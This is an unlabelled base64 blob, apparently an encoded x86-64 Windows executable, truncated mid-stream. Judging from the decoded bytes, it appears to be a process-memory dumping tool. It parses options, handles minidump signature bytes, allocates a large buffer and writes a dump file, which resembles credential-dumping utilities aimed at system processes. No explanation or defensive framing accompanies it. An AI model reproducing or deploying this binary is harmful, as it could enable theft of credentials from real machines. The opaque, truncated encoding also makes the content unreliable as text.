iwX76AAA/9BIi1XYSYnQugAAAABIicFIiwX76AAA/9BIx0XYAAAAAEiLRehIiwBIiUXoSIN96AAPhfP+//9Ii0XgSIPEeFtdw1VIieVIg+wwSIlNEEiLTRDoIen//0iLTRDow+r//0iLTRDoZuv//4XAdQe4AAAAAOtqSItNEOgT9P//SIlF+EiDffgAdQe4AAAAAOtPSItF+EiJwkiLTRDoMf3//0iJRfBIg33wAHUHuAAAAADrLUiLRfhIicHoFPr//0jHRfgAAAAASItF8EiJwegA+v//SMdF8AAAAAC4AQAAAEiDxDBdw1VIieVIg+xQSMdF6AAAAABIi0XoSI1V6EiJVCQgQbkAAAAAQbgAAAAAuhAEAABIicHoS9v//4lF/IF9/BoAAIB1E0iNDZ2aAADogNr//7gAAAAA62yDffwAeRiLRfyJwkiNDaeaAADoYtr//7gAAAAA605IjQXEmgAASIlF4EiLRehIjVXgQbkAAAAAQbgBAAAASInB6N3t//9IiUXwSIN98AAPhGf///9Ii0XwSInB6Dj5//9Ix0XwAAAAAEiLRehIg8RQXcNVSInlSIlNEIlVGJBdw1VIieVIg+wgSIlNEEiLVRBIjQ1qmgAA6N3Z//9IjQ2qmgAA6NHZ//9IjQ26mgAA6MXZ//9IjQ3VmgAA6LnZ//9IjQ3amgAA6K3Z//9IjQ0LmwAA6KHZ//9IjQ0amwAA6JXZ//9IjQ03mwAA6InZ//9IjQ1CmwAA6H3Z//+QSIPEIF3DVUiJ5UiD7DBIiU0QSI1F+EiJweiy2f//icHoB2QAAEiLRRDGAFBIi0UQSIPAAcYATUiLRRBIg8ACxgBESItFEEiDwAPGAE3rQOjoYwAAicJIi0UQiBDo22MAAInCSItFEEiDwAGIEOjKYwAAicJIi0UQSIPAAogQ6LljAACJwkiLRRBIg8ADiBBBuAQAAABIjRXOmgAASItNEOhvYwAAhcB0ppCQSIPEMF3DVVdWSInlSIHskAAAAIlNIEiJVSjo0gUAAMdF/AAAAABIx0XwAAAAAEiNRdhIicHoIf///8dF6AEAAADpmQIAAItF6EiYSI0UxQAAAABIi0UoSAHQSIsASInCSI0FXZoAALkDAAAASInWSInH86YPl8APksIp0A++wIXAdD2LRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNBSOaAAC5CAAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHUVxkXYUMZF2U3GRdpExkXbTekGAgAAi0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIicJIjQXZmQAAuQMAAABIidZIicfzpg+XwA+SwinQD77AhcB0PYtF6EiYSI0UxQAAAABIi0UoSAHQSIsASInCSI0Fn5kAALkIAAAASInWSInH86YPl8APksIp0A++wIXAdSSDRegBi0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIiUXw6WgBAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNBUaZAAC5AwAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHQ9i0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIicJIjQUMmQAAuQYAAABIidZIicfzpg+XwA+SwinQD77AhcB1K4NF6AGLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwejhYQAAiUX86cMAAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNBaqYAAC5AwAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHQ9i0XoSJhIjRTFAAAAAEiLRShIAdBIiwBIicJIjQVwmAAAuQcAAABIidZIicfzpg+XwA+SwinQD77AhcB1GUiLRShIiwBIicHoN/z//7gAAAAA6YMCAACLRehImEiNFMUAAAAASItFKEgB0EiLAEiJwkiNDSGYAADoANb//7j/////6VMCAACDRegBi0XoO0UgD4xb/f//SIN98AB1GUiLRShIiwBIicHo1/v//7j/////6SMCAABIi0XwulwAAABIicHoRWAAAEiFwHUdSItF8EiJwkiNDdqXAADondX//7j/////6fABAADoLeH//4lF7IN97AB1DEiNDd6XAADoedX//4N9/AB0EItF/InB6BTi//9IiUXg6wnokPr//0iJReBIg33gAHUKuP/////ppgEAAEjHRdAAAAAASMdFyAAAYARIjVXISI1F0MdEJCgEAAAAx0QkIAAQAABJidFBuAAAAABIicJIx8H/////6HzX//+JRdyDfdwAeSpIi0XgSInB6CfW//9Ix0XgAAAAAEiNDYWXAADo4NT//7j/////6TMBAABIi0XgSIlFoEiLRdBIiUWox0WwAAAAAEiNRdhIiUW4SI1FoEiJ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